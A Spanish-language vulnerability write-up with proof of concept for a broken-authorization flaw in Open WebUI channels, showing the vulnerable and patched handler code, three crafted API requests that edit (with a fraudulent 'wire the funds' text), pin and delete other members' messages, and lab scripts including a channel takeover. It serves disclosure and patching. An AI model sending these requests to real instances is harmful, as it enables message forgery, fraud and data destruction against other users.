
Exploit de prueba de concepto para un fallo de autorización en Open WebUI que permite a usuarios con privilegios bajos editar y eliminar los mensajes de canal de otros miembros mediante llamadas API manipuladas.
Open WebUI, afectado desde 0.5.0 hasta 0.10.2, parcheado en 0.11.0. Moderado, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 y CWE-862.
En backend/open_webui/routers/channels.py los manejadores de actualización y eliminación de mensajes se ramifican según el tipo de canal, y las dos ramas plantean preguntas diferentes. Los canales de grupo y de mensajes directos son solo del autor.
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
La rama de canal estándar se aprueba solo con acceso de escritura, y el acceso de escritura es exactamente lo que new_message_handler requiere para publicar, por lo que la capacidad de hablar se aceptaba como la capacidad de reescribir y eliminar. channel_has_access se satisface tanto con una concesión por usuario como con una pública, por lo que una sala privada con un colaborador se ve afectada igual que un canal abierto. El formulario de actualización vincula content, data y meta, mientras que la capa de modelo nunca toca message.user_id, por lo que un mensaje editado conserva el nombre del autor original.
La explotación consiste en tres llamadas API ordinarias desde una cuenta normal con rol user, que no está en ningún grupo, que no posee nada y no ha creado nada.
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
El commit c609ec411 en 0.11.0 divide la comprobación: primero el acceso de escritura y luego la autoría, igualando la rama de grupo. El anclado se mantiene a nivel de escritura por diseño.
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
Reejecutar contra 0.10.2 el 4 de agosto de 2026. Los scripts eliminan mensajes de otros miembros, por lo que debes apuntarlos únicamente a una instancia local desechable.
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7